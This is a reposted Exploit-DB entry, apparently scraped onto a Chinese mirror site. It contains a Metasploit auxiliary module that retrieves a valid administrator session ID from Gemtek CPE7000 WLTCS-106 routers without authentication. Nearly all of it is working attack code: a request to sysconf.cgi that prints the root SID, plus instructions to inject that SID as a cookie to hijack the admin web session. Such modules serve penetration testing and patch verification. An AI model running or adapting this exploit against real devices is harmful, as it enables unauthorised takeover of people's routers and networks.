Gemtek CPE7000 – WLTCS-106 Administrator SID Retriever (Metasploit) - 体验盒子

作者： Federico Scalco

日期： 2016-04-25

类别：

webapps

平台：

hardware

来源：https://www.exploit-db.com/exploits/39725/

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##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',

'Description'=> %q{

A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows

unauthenticated remote attackers to retrieve a valid Administrative SID.

To obtain an administrative web session inject this SID in your client's

cookie with values as follow: userlevel=2;sid=<SID>

Tested on Hardware version V02A and Firmware version 01.01.02.082.

},

'References' =>

[

[ 'EDB', '39716' ],

[ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],

[ 'URL' , 'http://www.gemtek.com.tw/' ]

],

'Author' =>

[

'Federico Scalco <fscalco [ at] mentat.is>'

#Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>

],

'License'=> MSF_LICENSE,

'DisclosureDate' => "Apr 07 2016",

'DefaultOptions' =>

{

'RPORT' => 443

}

))

register_options(

[

OptString.new("TARGETURI", [true, 'The base URI to target application', '/']),

OptBool.new('SSL', [true, 'Use SSL', true])

], self.class)

end

def run

@peer = "#{rhost}:#{rport}"

res = send_request_cgi({

'method' => 'GET',

'uri'=> '/cgi-bin/sysconf.cgi',

'vars_get' => {

'page' => 'ajax.asp',

'action' => 'login_confirm'

}

})

if !res or res.code != 200

fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")

end

ssid = res.body.split(',', 2)

print_good("#{@peer} - Valid root SID retrieved: #{ssid[1]}")

end